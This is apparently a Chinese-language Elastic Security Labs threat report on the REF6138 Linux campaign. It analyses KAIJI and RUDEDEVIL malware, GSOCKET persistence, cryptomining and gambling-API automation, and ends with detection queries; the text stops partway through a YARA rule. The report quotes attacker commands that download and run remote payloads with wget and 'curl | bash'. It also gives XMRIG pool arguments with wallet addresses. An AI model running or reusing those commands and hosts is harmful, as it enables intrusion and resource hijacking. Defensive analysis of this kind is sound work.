Remco SprootenRuben Groenewoud

押注机器人:调查 Linux 恶意软件、加密挖掘和赌博 API 滥用

REF6138 活动涉及加密货币挖矿、DDoS 攻击和通过博彩 API 进行的潜在洗钱,凸显了攻击者使用不断发展的恶意软件和隐蔽的通信渠道。

阅读时间:80分钟恶意软件分析攻击模式
押注机器人:调查 Linux 恶意软件、加密货币挖矿和博彩 API 滥用

简介

最近几个月,Elastic 安全实验室发现了一场针对易受攻击的服务器的复杂的 Linux 恶意软件活动。 攻击者于 2024 年 3 月利用 Apache2 Web 服务器发起攻击。 获得初始访问权限后,威胁行为者部署了一套复杂的入侵措施来建立持久性并扩大对受感染主机的控制。

威胁行为者使用了多种工具和恶意软件,包括伪装成内核进程的 C2 通道、用于通信的电报机器人和用于执行计划任务的 cron 作业。 值得注意的是,他们部署了多个恶意软件家族,例如 KAIJI 和 RUDEDEVIL,以及定制的恶意软件。 以 DDoS 功能而闻名的 KAIJI 和加密货币矿工 RUDEDEVIL 被用于利用系统资源进行恶意目的。

我们的调查发现了一种利用赌博 API 的潜在比特币/XMR 挖矿计划,这表明攻击者可能正在使用受感染的主机进行洗钱活动。 我们还获得了一个文件共享的访问权限,该文件共享托管着每天上传的最新 KAIJI 样本,这些样本具有之前从未见过的哈希值,这表明恶意软件作者正在积极开发和改编。

本研究出版物深入探讨了该活动的细节,对攻击者的策略、技术和程序进行了全面的分析。 我们探讨了他们如何建立初始访问权限、用于持久性和权限提升的方法以及在每个阶段部署的恶意软件。 此外,我们还讨论了命令和控制基础设施,包括使用 GSOCKET 和 Telegram 进行隐秘通信。

执行流程

初始访问

我们的团队发现,一台主机最初于 3 月 2024 遭到入侵,原因是在运行 Apache2 的服务器上获取了任意代码执行权限。 这种妥协的证据是通过 Apache2 进程执行id命令时看到的,之后我们看到威胁行为者利用 Web 服务器并在www-data用户帐户下部署 KAIJI 恶意软件。

Kaiji 部署后不久,攻击者使用www-data账户从 URL http://61.160.194[.]160:35130下载了名为00.sh脚本,经过进一步调查,发现该脚本还托管了多个版本的 RUDEDEVIL 恶意软件。

00.sh 是一个舞台表演者:

  • 设置其默认 shell 和 PATH。
  • 删除几个日志文件以清除执行痕迹。
  • 利用psnetstatlsof和常见挖矿进程名称列表来消除受感染主机上任何潜在的挖矿竞争。
  • 刷新主机上的iptables规则,设置多个iptables规则以阻止与特定目标端口和采矿池的连接,并禁用iptables
  • 最后,下载并执行第二阶段( sss6 / sss68 ),并删除执行痕迹。

下图显示了 stager 的压缩版本。 标有[...]行被缩短以增强可读性。

文件服务器

通过后门的Web服务器进程,攻击者通过以下命令下载并执行恶意软件:

sh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777 l86;./l86;rm -r l86

http://107.178.101[.]245:5488下载l64l86文件,然后授予它们所有权限、执行它们并删除它们。 查看托管这些恶意软件样本的服务器,我们看到以下内容:

这似乎是一个文件服务器,托管针对不同架构的几种类型的恶意软件。 文件服务器利用了 Rejetto 技术。 这些恶意软件有上传日期和下载计数器。 例如,9 月 10 日上传的download.sh文件已被下载 3,100 次。

鲁德魔鬼/路西法

经过仔细检查,已下载并执行的文件sss6被识别为 RUDEDEVIL 恶意软件。 在执行过程的早期,我们遇到了此恶意软件家族特有的嵌入消息:

Hi, man. I\'ve seen several organizations report my Trojan recently, 
Please let me go. I want to buy a car. That\'s all. I don\'t want to hurt others. 
I can\'t help it. My family is very poor. In China, it\'s hard to buy a suite. 
I don\'t have any accommodation. I don\'t want to do anything illegal. 
Really, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc, 
thank yo

我们注意到文件服务器上托管的文件l64l86包含相同的恶意软件。 在分析恶意软件的执行流程时,我们发现恶意软件的主要功能执行几个关键任务:

  • 守护进程初始化:使用daemon(1, 0)将进程转换为守护进程。
  • 套接字创建:创建套接字并将其绑定到特定端口。
  • 信号处理:为各种信号设置自定义信号处理程序。
  • 服务初始化:使用SetFILE启动了多项服务。
  • 权限处理:检查 root 权限并相应地调整资源限制。
  • 解密:恶意软件解密其配置 blob。
  • 线程创建:生成多个线程用于挖掘、终止进程以及监控网络和 CPU 使用率等任务。
  • 主循环:程序进入无限循环,反复连接服务器并休眠指定的时间。

检查加密例程时,我们发现它采用了基于 XOR 的编码:

为了静态解码内容,我们开发了一个基本的 Python 代码片段:

def DecryptData(data_block, encryption_key):
   key_modifier = encryption_key & 0xFF
   key_index = key_modifier // 0x5F  # 0x5F = 95 in decimal
   modifier = (key_modifier - (key_index * 0x5F)) + 0x58  # 0x58 = 88 in decimal

   for i in range(len(data_block)):
       data_block[i] ^= modifier
       data_block[i] &= 0xFF  # Ensure 8-bit value
       data_block[i] += modifier
       data_block[i] &= 0xFF  # Ensure 8-bit value

   return data_block

# Encoded data as hex strings
encoded_data = [
   '4c494356515049490c467978',
   '0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f40573801393939391e0d451e020141303727222026254f252d372643400706314955032a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513926352054362a1e0d4e1e20',
   '0f424d4e0f435536575649484b',
   '5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b',
]

encryption_key = 0x03FF  # 1023 in decimal

# Process and decrypt each encoded data string
for data in encoded_data:
   # Convert hex string to list of integers
   data_bytes = bytes.fromhex(data)
   data_block = list(data_bytes)

   # Decrypt the data
   decrypted_block = DecryptData(data_block, encryption_key)

   # Convert decrypted data back to bytes
   decrypted_bytes = bytes(decrypted_block)
   print("Decrypted text:", decrypted_bytes.decode('utf-8', errors='ignore'))

解码配置后,将显示以下值:

  • 第一个值 C2 域nishabii[.]xyz
  • 第二个值显示将传递给 XMRIG 的选项。
  • 第三个值显示恶意软件使用的临时文件位置。
  • 第四个也是最后一个字符串显示了 XMRIG 二进制文件的下载位置。

恶意软件中的线程管理

该恶意软件启动多个线程来处理其核心操作。 让我们详细探讨一下其中一些功能的工作原理。

了解 KillPid 函数

其中一个线程运行KillPid函数,该函数旨在持续监视和管理进程。 该函数首先分离其当前线程,允许其在后台运行而不阻塞其他进程。 然后它进入无限循环,重复执行其任务。

其功能的核心是一个名为sb_name数组,其中包含恶意软件想要终止的进程的名称。

每隔两秒钟,该函数就会检查系统中是否存在此数组中列出的进程,并使用名为getPidByName的辅助函数检索它们的进程 ID (PID)。 每次迭代之后,它都会移动到列表中的下一个进程,确保sb_name中的所有进程都得到处理。

有趣的是,在处理完数组中的所有元素后,该函数会进入延长睡眠状态 600 秒(大约 10 分钟),然后恢复其进程检查。 延长睡眠期可能是为了节省系统资源,确保恶意软件在监控进程时不会消耗太多 CPU 时间。

了解 Get_Net_Messages 函数

另一个关键线程负责监控网络流量,特别关注eth0网络接口。 此功能由getOutRates函数处理。 该函数首先设置必要的变量并打开/proc/net/dev文件,该文件包含每个接口的详细网络统计信息。

如果文件成功打开,恶意软件就会读取一个数据块(最多 1024 字节)并对其进行处理以提取相关的网络统计信息。 它专门查找eth0接口,使用标准字符串解析方法解析输出速率数据。 如果成功,该函数返回eth0的输出率;否则,返回0 ,确保即使发生错误,恶意软件也能继续运行。

此例程允许恶意软件悄悄监视受感染机器的网络活动,并可能跟踪通过接口发送或接收的数据。

了解 Get_Cpu_Message 函数

对于 CPU 监控,该恶意软件使用GetCpuRates函数。 该函数通过从/proc/stat读取数据来持续监控 CPU 使用率。 与处理网络数据的方式类似,读取和解析 CPU 统计信息,从而允许恶意软件计算系统的 CPU 使用率。

该函数以无限循环运行,每次迭代之间休眠一秒钟,以避免系统过载。 如果由于某种原因无法打开文件,该函数将记录错误并正常退出。 然而,只要它能够读取文件,它就会持续监视 CPU 使用率,确保恶意软件仍然了解系统性能。

了解 Send_Host_Message 函数

也许最关键的线程是负责将系统信息发送回恶意软件操作员的线程。 _SendInfo函数通过收集有关受感染系统的 CPU 和网络使用情况的数据来执行此任务。 它首先设置缓冲区并准备文件路径来收集必要的数据。 根据系统的状态,它将 CPU 和网络使用情况格式化为字符串。

此外,该函数还检查特定进程是否在系统上运行,并相应地调整其格式化的消息。 最后,它通过套接字连接将这些格式化的数据发送回命令和控制服务器。

本质上,此功能允许恶意软件远程监控受感染的机器,收集 CPU 负载和网络活动等关键详细信息。 操作员可以使用这些信息来评估他们的感染状况并根据需要调整他们的活动。

连接到命令和控制 (C2) 服务器

一旦所有线程都启动并运行,恶意软件就会将重点转移到与其 C2 服务器建立连接。 这是由主线程中的ConnectServer函数管理的,该函数处理与服务器的通信并远程执行命令。

了解 ConnectServer 函数

ConnectServer函数执行的第一个任务是使用ServerConnectCli建立与 C2 服务器的连接。 成功连接后,恶意软件会配置套接字以启用保持活动设置,确保连接在较长时间内保持稳定。

一旦建立连接,恶意软件就会收集各种系统信息,包括主机名、用户信息、CPU 规格和内存详细信息。 然后,该信息作为初始数据负载发送到服务器,为攻击者提供受感染机器的详细视图。

初始设置完成后,恶意软件将进入持续循环,等待并处理来自服务器的命令。 处理的命令类型多种多样,包括发起 DDoS 攻击、停止或启动 CPU 密集型操作、执行系统命令或管理加密货币挖掘活动等任务。 循环无限期地继续,确保恶意软件已准备好执行其操作员发送的任何命令。

当不再需要连接或恶意软件收到终止命令时,它会正常关闭套接字,结束与服务器的会话。

命令与控制 (C2) 命令

ConnectServer函数处理来自 C2 服务器的各种命令,每个命令旨在控制受感染系统的不同方面。 以下是该恶意软件处理的命令的细目:

  • 案例 4:恶意软件调用DealwithDDoS函数,可能发起分布式拒绝服务 (DDoS) 攻击。
  • 案例 5:StopFlag设置为1 ,这可以向恶意软件发出信号以停止特定任务。
  • 案例 6:使用http_get从服务器下载文件,更改其权限,然后执行该文件。 该命令允许攻击者在受感染的机器上运行其他恶意软件或脚本。
  • 案例 7:使用system函数执行系统命令,使攻击者能够直接控制系统的命令行。
  • 案例 8:StopCpu设置为0 ,重新启动任何先前暂停的 CPU 任务。
  • 案例 9:StopCpu设置为1 ,停止所有 CPU 任务。
  • 案例 0xA:使用新数据更新 CPU 挖掘配置并检索当前进程的 PID,从而允许恶意软件修改其加密货币挖掘操作。
  • 案例 0xB:stopxmr设置为1 ,有效停止 XMRIG 矿工。
  • 案例 0xC:stopxmr重置为0并检索当前进程 PID,恢复挖掘活动。

每个命令都让恶意软件操作员能够精确控制受感染机器的行为,无论是参与 DDoS 攻击、运行新的恶意软件还是管理挖掘操作。

RUDEDEVIL 恶意软件和 XMRIG 配置的变体

当前面提到的文件服务器处于活动状态时,我们观察到 RUDEDEVIL 恶意软件的多个版本被上传。 这些版本的核心功能基本保持不变,唯一显著的变化是用于加密货币挖掘的嵌入式 XMRIG 命令。

每个版本的恶意软件都配置为连接到同一个挖矿池c3pool.org ,但传递给 XMRIG 矿工的参数略有不同:

  • -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R
  • -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2
  • -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php
  • -o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0

这些命令中的每一个都指示矿工连接到同一个采矿池,但指定不同的钱包或配置。 通过检查c3pool应用程序,我们确认与这些命令关联的两个 XMR 地址当前均处于活动状态并正在进行挖掘。

此外,通过这项分析,我们能够估算出这两次挖矿活动产生的总利润,突显了 RUDEDEVIL 恶意软件的财务影响及其与非法加密货币挖矿活动的联系。

GSOCKET

为了建立持久性,威胁行为者下载并安装了GSOCKET ,这是一种网络实用程序,旨在实现防火墙或 NAT 后面的机器之间的加密通信。 GSOCKET 通过全局套接字中继网络 (GSRN) 创建安全、持久的连接。 这个开源工具包括 AES-256 加密、支持端到端通信安全以及与 SSH、netcat 和 TOR 兼容等功能,允许加密文件传输、远程命令执行甚至创建隐藏服务。

尽管 GSOCKET 本质上并不具有恶意,但其功能可能会被用于可疑目的。

一旦部署,GSOCKET 会执行多项操作来保持持久性并隐藏其存在。 首先,它检查系统中是否存在活动内核进程,以决定它将伪装成哪个进程:

然后,它会创建/dev/shm/.gs-1000目录来下载其二进制文件并将其存储在共享内存中。 此外,默认情况下,它会在/home/user/.config/htop/下设置一个/htop目录来存储 GSOCKET 二进制文件和用于其操作的密钥。

接下来,设置一个 cron 作业,每分钟使用密钥运行 GSOCKET 二进制文件。

该二进制文件使用exec -a [process_name]命令以内核进程的名义执行,进一步增强了逃避检测的能力。 该 cron 作业包含一个 base64 编码的命令,该命令解码后可确保持久性机制定期执行并伪装成合法的内核进程:

解码有效负载时,我们可以看到defunct.dat密钥如何用作参数来执行defunct二进制文件,而后者通过使用exec -a 命令伪装成[raid5wq]

除了使用 cron 作业之外,GSOCKET 还可以通过 shell 配置文件修改、运行控制( rc.local )和 Systemd 来建立持久性。 GSOCKET 列举了潜在的持久性位置:

GSOCKET 支持多个 webhook,例如 Telegram 或 Discord 集成,可实现远程控制和通知:

最后,安装后,GSOCKET 会确保对创建或修改的所有文件进行时间戳记,以尝试删除任何安装痕迹:

这些特性使 GSOCKET 成为寻求隐身和持久性的威胁行为者的有吸引力的工具。 在这次活动中,GSOCKET 被利用来建立回到 C2 服务器的隐蔽通道,同时试图逃避检测。

此外,还从外部 IP 获取了一个 PHP 有效负载并将其保存为404.php ,可能作为将来访问的后门。 我们未能获取该有效载荷。

入侵后停留时间

经过三周的平静期,没有任何明显的活动,威胁行为者利用内置的 Python3 建立与新命令和控制服务器的反向连接,恢复了行动。

重新获得主机访问权后,部署了新版本的 KAIJI 恶意软件。

KAIJI 恶意软件:与之前的样本的比较

在调查发现的文件服务器上的文件时,我们看到了一个 shell 脚本。 这个shell脚本似乎是早期阶段用于下载的主要文件,用于确保使用适合受害者的正确架构。

在其他报告中也发现了相同的 Shell 脚本,该脚本用于部署 KAIJI。

作为调查的一部分,我们分析了在文件服务器上发现的 KAIJI 恶意软件样本,并将其与 Black Lotus 实验室在 2022 年发现的样本进行了比较。 他们对Chaos (KAIJI) 的详细分析可参见此处的博客文章。

使用二进制比较工具BinDiff ,我们比较了二进制文件中的函数。 分析显示,我们样本中的代码与之前发现的 2022 年 KAIJI 样本相同。

尽管代码相同,但有一个关键的区别很明显:C2 服务器地址。 尽管两个二进制文件的功能保持一致,但它们指向不同的 C2 域。

深入研究反汇编后,我们发现了一个名为main_Link的函数。 该函数负责解码恶意软件使用的C2服务器地址。

解码后,该函数会在地址中搜索|(odk)/*-后缀并将其删除,只留下 C2 域和端口。 此过程确保恶意软件可以与其 C2 服务器通信,尽管它联系的地址可能会在样本之间发生变化。

鉴于已经发布了一些对 KAIJI 进行静态逆向工程的资源,我们将更详细地研究其行为。

执行后,KAIJI 在/etc//dev/目录中创建几个文件、 /etc/id.services.conf/etc/32678/dev/.img/dev/.old 。 这些脚本是建立持久性的地方。

设置了两个服务, /etc/init.d/linux_killcrond.servicecrond.service由 Systemd 执行,而linux_kill用于 SysVinit 持久性。

重新加载 Systemd 守护程序后,尝试与 C2 建立第一个网络连接。

接下来,创建Systemd Late generator服务文件。 有关Systemd的工作原理的更多信息,以及通过这种方法建立持久性的不同方法,可以在我们最近的博客系列《Linux 检测工程 - 持久性机制入门》中找到。

KAIJI 创建/boot/System.img.config文件,该文件是一个可通过之前部署的Systemd服务执行的可执行文件。 这个二进制文件与其他二进制文件一样,是建立持久性的另一种方式。

接下来,KAIJI 调整SELinux政策以允许未经授权的操作。 它在审计日志中搜索与System.img.conf相关的被拒绝的操作,生成新的SELinux策略以允许这些操作,并安装具有较高优先级的策略。 通过这样做,恶意软件绕过了通常会阻止其活动的安全限制。

此外,它还通过 bash 配置文件设置了多种额外的持久性形式,并创建了另外两个恶意工件; /usr/lib/libd1rpcld.so/.img

紧接着,通过 echo 命令更改/etc/crontab ,确保/.img文件按照设定的时间表由 root 执行。

KAIJI 继续将几个默认的系统二进制文件移动到不寻常的位置,试图在此过程中逃避检测。

KAIJI 使用renice命令为 PID 2957 (KAIJI 植入的可执行文件之一)授予最高优先级(范围为 -20 到 19,最低优先级为最高),确保它比其他进程获得更多的 CPU 资源。

为了逃避检测,KAIJI 采用了绑定挂载技术,这是一种通过操纵目录在系统内的挂载和查看方式来掩盖恶意活动的防御逃避方法。

最后,我们看到了cron执行/.img的痕迹,而该痕迹之前已被植入到/etc/crontab文件中。

传奇仍在继续

两周后,Apache 后门再次活跃起来。 另一个后门由www-data用户通过 Apache2 进程使用以下命令下载:

sh -c wget http://91.92.241[.]103:8002/gk.php

该有效载荷的内容仍然未知。 在此阶段,我们观察到手动提升权限的尝试,攻击者部署了pspy64Pspy是一个用于在 Linux 系统上监视进程的命令行工具,无需 root 权限。 它监控正在运行的进程,包括由其他用户启动的进程,并捕获诸如 cron 作业执行之类的事件。 该工具对于分析系统活动、发现权限提升尝试以及实时审核进程触发的命令和文件系统交互特别有用。 攻击者通常利用它进行入侵后场景的侦察,让他们能够洞察系统任务和潜在漏洞。

值得注意的是, pspy64是由[rcu_preempt]父级执行的,这表明威胁行为者已经从利用 Web 服务器后门转变为使用 GSOCKET 后门。

进一步的权限提升尝试涉及利用CVE-2021-4034 (也称为pwnkit 。 该漏洞影响 Linux 系统中 PolicyKit 软件包的pkexec组件,允许非特权用户以 root 权限执行任意代码。 通过利用此漏洞,攻击者可以获得系统的更高访问权限,甚至可能完全控制受影响的机器。

定制的二进制文件

随后,攻击者尝试从以下位置下载名为apache2apache2v86的定制恶意软件:

  • http://62.72.22[.]91/apache2
  • http://62.72.22[.]91/apache2v86

我们获得了这些文件的副本,目前在 VirusTotal 上没有检测到任何文件。 然而,当动态执行它们时,我们观察到了分段错误,并且我们的遥测证实了受感染主机上存在分段错误活动。 在一周内,威胁行为者尝试更改、上传和执行这些二进制文件超过 15 次,但由于反复出现段错误,他们不太可能成功运行该自定义恶意软件。

虽然二进制文件无法执行,但它们仍然在逆向工程过程中提供了宝贵的见解。 我们在样本中发现了几个 XOR 编码的字符串。

用于对字符串进行编码的 XOR 密钥被标识为0x79 (或字符y )。 解码字符串后,我们发现了恶意软件试图构建的 HTTP 请求标头片段:

/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1
sec-ch-ua: "Chromium";v="122", "Google Chrome";v="122", "Not-A.Brand";v="99
sec-ch-ua-platform: "Windows"
upgrade-insecure-requests: 1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
referer: https://twitter[.]com
accept-language: ru,en-US;q=0.9
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.

这表明该恶意软件正在构建 HTTP 请求。 然而,根据标头的不完整性和执行中反复失败的情况,很显然该软件尚未完全开发或运行。

额外侦察

攻击者继续使用 The Hacker's Choice 的工具,下载并执行whatserver.sh

该 Shell 脚本用于收集和显示服务器信息。 它从 SSL 证书、Nginx 和 Apache 配置文件中提取详细信息,例如完全限定域名 (FQDN),以及系统资源信息,例如 CPU 和内存使用情况、虚拟化详细信息和网络设置。 该脚本还可以总结最近的活动,包括最后登录的用户和当前正在监听的服务。

采矿活动

经过近两周的手动攻击尝试后,威胁行为者停止了提升权限的努力,可能是因为未能获得 root 访问权限。 相反,他们以www-data用户身份建立持久性,利用 GSOCKET 设置 SSL 连接,该连接伪装成名为[mm_percpu_wq]的内核进程。

对 base64 内容进行解码后,我们得到一个非常熟悉的输出:

通过我们的行为规则,我们看到威胁行为者列出了当前用户的 crontab 条目,并将有效负载直接回显到 crontab 中。

此命令每分钟尝试下载http://gcp.pagaelrescate[.]com:8080/ifindyou ,并通过管道传输到 bash。 查看ifindyou的内容,我们看到以下 Bash 脚本:

该脚本收集主机名和 IP 信息,从http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC (XMRIG) 下载SystemdXC档案,将其存储在/tmp/SystemdXC中,提取档案并使用必要的参数执行它以开始挖掘比特币。

检查挖矿命令时,我们可以看到恶意软件如何配置XMRIG:

该命令连接到unmineable.com挖矿池,使用受感染机器的主机名作为挖矿过程中的标识符。 在撰写本文时,有 15 活跃矿工正在为钱包地址1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz挖掘比特币。

进一步调查该比特币地址后,我们发现该地址曾经进行过一笔交易。

有趣的是,该交易的输出地址指向一个与币安关联的知名热钱包,这表明攻击者可能已将其挖矿收益转移到交易平台。

当我们重新将注意力集中到脚本时,我们还看到两个被注释掉的命令,这在后面会变得更加清晰。 脚本执行:

curl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash

查看此有效载荷,我们可以看到以下内容:

此阶段检查命令的输出,并将其发送给 Telegram 聊天机器人。 通过我们的 Telegram 行为规则,我们可以看到 Telegram POST 请求如下所示:

在此阶段设置的 cron 作业每 4 小时第 0 分钟执行一次。 该作业执行:

curl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3

下载的 Python 脚本通过 HTTP 请求自动与在线赌博游戏进行交互。 该脚本包括处理用户身份验证、投注、处理结果和向远程服务器发送数据的功能。

经过仔细检查,我们发现该脚本包含以下关键组成部分:

全局变量:

  • usuario:存储用于管理会话的用户 ID。
  • apuesta:代表投注金额。
  • ganancias:追踪赢利和亏损。
  • saldo_actual:保存当前账户余额。

了解obteneruid函数

该函数通过向远程服务器发送带有必要标头和 JSON 数据的 POST 请求来对用户进行身份验证。 如果用户尚未设置,它将初始化一个新会话并检索帐户余额。 一旦身份验证成功,它将返回一个会话 UUID,用于游戏中的进一步交互。

了解enviardatos函数

该函数将游戏数据或状态更新发送回gcp.pagaelrescate[.]com ,记录游戏过程中的结果或采取的操作。 它使用简单的 GET 请求将这些数据传输到远程服务器。

了解hacerjugada函数

hacerjugada函数模拟一定轮次的下注过程。 它发送 POST 请求来下注,在每轮后更新赢利或亏损,并计算总体结果。 如果触发了奖励回合,它会调用completarbono()来处理任何奖励游戏的详细信息。 在每一轮下注之间,该功能都会强制 30 秒的延迟,以模仿自然的游戏玩法并避免被发现。

了解completarbono函数

当触发奖励回合时,此函数通过发送包含会话 ID 和回合 ID 的请求来完成该回合。 根据结果,它会更新账户余额并记录盈利或亏损。 余额的任何变化都会使用enviardatos()函数发送回远程服务器。

可能用于测试目的

值得注意的是,该脚本很可能用于测试目的,因为它与赌博应用程序的演示版本进行交互。 这表明攻击者可能正在测试赌博行为的自动化或在转移到实时版本之前尝试查找应用程序中的漏洞。 使用演示环境意味着他们正在改进他们的方法,可能是为了准备发起更复杂或更广泛的攻击。

REF6138 通过 MITRE ATT&CK

Elastic 使用MITRE ATT&CK框架来记录高级持续性威胁针对企业网络使用的常见策略、技术和程序。 在本次调查中,我们发现了以下策略、技术和子技术:

MITRE ATT&CK 使用的策略、技术和子技术

战术技术子技术
资源开发T1587:培养能力恶意软件
T1588:获得能力工具
T1608:舞台功能上传恶意软件
上传工具
初始访问T1190:利用面向公众的应用程序
执行T1059:命令和脚本解释器Unix 外壳
Python
T1053:计划任务/作业Cron
持久化T1546:事件触发执行Unix Shell 配置修改
T1053:计划任务/作业Cron
T1505:服务器软件组件Web外壳
权限提升T1068:利用漏洞提升权限
防御规避T1140:对文件或信息进行反混淆/解码
T1222:文件和目录权限修改Linux 和 Mac 文件和目录权限修改
T1564:隐藏文物隐藏文件和目录
T1070:指示器移除时间戳
T1036:伪装化装舞会任务或服务
T1027:模糊文件或信息软件包装
剥离的有效载荷
命令混淆
加密/编码文件
发现T1057:流程发现
T1082:系统信息发现
T1061:系统网络配置发现
T1049:系统网络连接发现
T1007:系统服务发现
收集T1119:自动收集
T1005:来自本地系统的数据
命令和控制T1071:应用层协议Web Protocols
T1132:数据编码标准编码
T1001:数据混淆
T1573:加密频道对称加密
T1105:入口工具转移
T1571:非标准端口
T1572:协议隧道
T1102:Web 服务
影响T1496:资源劫持

检测 REF6138

Elastic Security 实施了一种多层威胁检测方法,利用行为 SIEM 和端点规则、YARA 签名和基于 ML 的异常检测方法。 本节介绍了 Elastic Security 构建的检测,这些检测在捕获已识别的威胁方面发挥了重要作用。

检测

在对该入侵集的分析过程中观察到了以下检测规则:

预防

在对该入侵集的分析过程中观察到了以下行为预防事件:

以下 YARA 签名可用于检测文件和内存中的 KAIJI 和 RUDEDEVIL 恶意软件样本:

在对该入侵集的分析过程中观察到了以下即将发布的端点规则警报:

  • 通过 Web 服务器获取潜在 Shell
  • 潜在的 Web 服务器代码注入
  • Web 服务器用户执行的潜在 Shell
  • 通过 Web 服务器解码活动
  • Linux Telegram API Request
  • 可疑的回声处决

在 Elastic 中搜寻查询

使用 Elastic Defend 集成,Elastic Agent 可提供 KQL 和 EQL 的事件。 狩猎查询可能会返回高信号或误报。 这些查询用于识别潜在的可疑行为,但需要进行调查来验证调查结果。

EQL 查询

使用 Kibana 中安全解决方案的时间线部分“关联”选项卡下,您可以使用以下 EQL 查询来寻找类似的行为:

潜在的 XMRIG 执行

以下 EQL 查询可用于在您的环境中搜寻 XMRIG 执行。

process where event.type == "start" and event.action == "exec" and (
  (
    process.args in ("-a", "--algo") and process.args in (
      "gr", "rx/graft", "cn/upx2", "argon2/chukwav2", "cn/ccx", "kawpow", "rx/keva", "cn-pico/tlo", "rx/sfx", "rx/arq",
      "rx/0", "argon2/chukwa", "argon2/ninja", "rx/wow", "cn/fast", "cn/rwz", "cn/zls", "cn/double", "cn/r", "cn-pico",
      "cn/half", "cn/2", "cn/xao", "cn/rto", "cn-heavy/tube", "cn-heavy/xhv", "cn-heavy/0", "cn/1", "cn-lite/1",
      "cn-lite/0", "cn/0"
    )
  ) or
  (
    process.args == "--coin" and process.args in ("monero", "arqma", "dero")
  )
) and process.args in ("-o", "--url")

MSR 写访问已启用

XMRIG 利用 modprobe 启用对 MSR 的写访问。 此活动是不正常的,并且不应该默认发生。

process where event.type == "start" and event.action == "exec" and process.name == "modprobe" and
process.args == "msr" and process.args == "allow_writes=on"

潜在的 GSOCKET 活动

此活动是通过推荐的部署方法部署 GSOCKET 时的默认行为。 此外,在查询中添加了几个参数,以减少错过通过 GSOCKET 进行更定制的入侵的机会。

process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
process.command_line : (
"*GS_ARGS=*", "*gs-netcat*", "*gs-sftp*", "*gs-mount*", "*gs-full-pipe*", "*GS_NOINST=*", "*GSOCKET_ARGS=*", "*GS_DSTDIR=*", "*GS_URL_BASE=*", "*GS_OSARCH=*", "*GS_DEBUG=*", "*GS_HIDDEN_NAME=*", "*GS_HOST=*", "*GS_PORT=*", "*GS_TG_TOKEN=*", "*GS_TG_CHATID=*", "*GS_DISCORD_KEY=*", "*GS_WEBHOOK_KEY=*"
)

通过 Exec 进行潜在进程伪装

GSOCKET 利用exec -a方法以不同的名称运行进程。 GSOCKET 专门利用伪装成内核进程,但其他恶意软件可能会采用不同的伪装方式。

process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.command_line : "* exec -a *"

Renice 或 Ulimit 执行

包括 KAIJI 和 RUDEDEVIL 在内的几种恶意软件都利用 renice 实用程序来改变进程的优先级或为进程设置资源限制。 这通常被挖矿恶意软件使用,以提高挖矿过程的优先级,以最大化挖矿性能。

process where event.type == "start" and event.action == "exec" and (
  process.name in ("ulimit", "renice") or (
  process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and
  process.command_line : ("*ulimit*", "*renice*")
  )
)

已启动不存在的 Cron(d) 服务

KAIJI 和 RUDEDEVIL 都通过在/etc/init.d/cron(d)中创建cron(d)服务来建立持久性。 默认情况下, Cron不使用SysV Init服务。 cron(d)服务的执行存在可疑,应进一步分析。

process where event.type == "start" and event.action == "exec" and 
  process.name == "systemctl" and process.args == "start" and process.args in 
  ("cron.service", "crond.service", "cron", "crond")

来自 KAIJI 的可疑 /etc/ 进程执行

/etc/目录不是常用于流程执行的目录。 众所周知,KAIJI 会将名为32678id.services.conf的二进制文件放置在/etc/目录中,以建立持久性并逃避检测。

process where event.type == "start" and event.action == "exec" and (process.executable regex """/etc/[0-9].*""" or process.executable : ("/etc/*.conf", "/etc/.*"))

在 /dev/ 目录中创建隐藏文件

/dev//dev/shm/中创建隐藏文件本质上并不具有恶意,但是这种活动并不常见。 据了解,KAIJI、GSOCKET 和其他恶意软件(例如K4SPREADER会在这些位置放置隐藏文件。

file where event.type == "creation" and file.path : ("/dev/shm/.*", "/dev/.*")

/boot/ 中的父可执行文件执行可疑进程

据了解,KAIJI 和 XORDDOS 等恶意软件会将可执行文件放置在/boot/目录中,并利用这些文件建立持久性,同时试图逃避检测。

process where event.type == "start" and event.action == "exec" and process.parent.executable : "/boot/*"

雅拉

Elastic Security 已创建 YARA 规则来识别此活动。 以下是识别自定义Apache2恶意软件的 YARA 规则:

rule Linux_Trojan_Generic {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-20"
        os = "Linux"
